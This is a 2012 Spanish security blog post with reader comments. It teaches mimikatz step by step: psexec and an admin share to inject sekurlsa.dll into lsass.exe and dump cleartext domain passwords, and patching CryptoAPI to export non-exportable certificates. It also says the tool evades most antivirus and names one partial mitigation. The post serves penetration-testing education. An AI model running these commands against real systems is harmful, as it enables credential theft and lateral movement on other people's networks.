09 julio 2012

Volcado de contraseñas con mimikatz

mimikatz es una herramienta que entre otras características permite el volcado de contraseñas en texto claro de un sistema Windows, la exportación de certificados marcados como no exportables o la obtención de hashes de la SAM.

Una de las principales ventajas que presenta frente a otras herramientas como wce, es que aún no es demasiado popular y los antivirus no la detectan como aplicación maliciosa. Tan solo 5 de 41 la tienen catalogada como tal. ¡A ver lo que dura!



Para ver cómo funciona, mejor ver algunos ejemplos de uso.

1.- Nombre de usuario y PC
Para empezar y ver la sintaxis, algo sencillo. Obtención del nombre de usuario y el PC.

a.- Iniciar mimikatz desde la ruta en la que se haya descargado e invocar el módulo system con el comando "user" para sacar el nombre de usuario: system::user

b.- El nombre del equipo con el comando "computer" del módulo system: system::computer. Sencillo, ¿verdad?


2.- Contraseñas en claro de un dominio.
Como es lógico, es necesario tener permisos de administrador ya que la herramienta no explota ninguna vulnerabilidad de escalada de privilegios. En este ejemplo se hará uso junto a psexec de sysinternals  para el uso remoto contra la dirección IP remota: 172.16.X.X

a.- Se autentica contra el servidor remoto (del que se volcarán las contraseñas) mediante el comando: net use \\172.16.X.X\admin$ que solicitará las credenciales.

b.-  Se copia la librería auxiliar "sekurla.dll" en el directorio System32 del sistema remoto, proporcionada con el propio mimikatz: copy sekurla.dll \\172.16.X.X\admin$\system32

c.- El tercer paso es la ejecución de mimikatz, usando la arquitectura que corresponda, ya sea 32 o 64 bits: psexec /accepteula \\172.16.X.X\ -c mimikatz.exe

d.- Una vez arrancado se verifica que hay acceso al privilegio: SeDebugPrivilege, con el comando: privilege::debug aunque esto no es necesario si se tiene acceso SYSTEM. 

e.- Se procede a inyectar la librería en el proceso de LSASS: inject::process lsass.exe sekurlsa.dll

f.- Por último, se solicitan las contraseñas con: @getLogonPasswords



Solucionar el problema no es sencillo, ya que requiere deshabilitar los Security Support Providers (SSP) TsPkg y Wdigest de la clave: HKLM\SYSTEM\CurrentControlSet\Control\LSA\Security Packages en caso de Windows 7 y 2008, opción no soportada por Microsoft y que rompe el Network Level Authentication (NLA) de RDP, dejando este de funcionar.

3.- Exportación de certificados.
Para exportar certificados, marcados como NO exportables, mimikatz parchea la CryptoApi y luego intenta la exportación. El ejemplo para mi equipo local:

a.- Se arranca mimikatz ejecutando el binario de la arquitectura que corresponda: C:\tmp\mimikatzz\x64\mimikatz

b.- Igual que en el caso anterior, se verifica el acceso a SeDebugPrivilege mediante: privilege::debug que debe responder "OK".

c.- Se procede al parcheo de la CryptoApi con el comando: crypto::patchcapi 

d.- Se intentan exportar dos veces los certificados con la instrucción:  crypto::exportCertificates pero falla, indicándolo con un resultado "KO".

e.- Cuando esto ocurre, hay que probar varias veces a parchear la cryptoapi y exportar, hasta que funciona tal y como muestra la captura. Dependiendo de la versión de Windows, será necesario usar crypto::patchcapi o por el contrario crypto::patchcng



Referencias:

8 comments :

1Gb de Informacion dijo...

Gran entrada Alejandro, hace poco intente explicarlo en mi blog, pero no tan bien como lo plasmas tu aqui, ademas de que lo completas mucho mas.
Si no te importa, pongo un link a esta entrada desde mi blog.

Un saludo.

Alejandro Ramos dijo...

Claro! y lo hiciste perfectamente.


Dejo por aquí el de la tuya como referencia: http://1gbdeinformacion.blogspot.com.es/2012/05/password-de-amdinistrador-de-windows-en.html
Un saludo!

1Gb de Informacion dijo...

muchas gracias :$

HiiARA dijo...

Muy buen post, ya hace tiempo que hice una entrada relacionada en cuanto a esta herramienta, y sinceramente es extremadamente fácil de usar.


Lo publique cuando empeza a publicar en mi blog, lamentablemente por falta de tiempo, ya no seguí publicando, acá dejo el link de la entrada con imágenes de como usarlo.


Suerte :D

HiiARA dijo...

Muy buen post, ya hace tiempo que hice una entrada relacionada en cuanto a esta herramienta, y sinceramente es extremadamente fácil de usar.


Lo publique cuando empeza a publicar en mi blog, lamentablemente por falta de tiempo, ya no seguí publicando, acá dejo el link de la entrada con imágenes de como usarlo.


http://el-blogdehiiara.blogspot.mx/2012/02/reventar-contrasenas.html



Suerte :D

minsqui dijo...

Después de esta publicidad a la herramienta seguro que lo empieza a detectar algún antivirus más xD

Mauro dijo...

Estuve probando esta buena herramienta desde un Linux contra un XP pero no me toma un usuario con cuenta limitada de este último...por qué puede ser?


Desde ya, muchas gracias.
Saludos.

\x8b\xff dijo...

No funciona como un usuario normal porque se necesita tener privilegios suficientes como para poder debugear el proceso lsass.exe. El grupo de administradores cuenta con esta capacidad y por eso puede realizar la injección de la dll maliciosa en el espacio de dicho proceso.

@kiqueNissim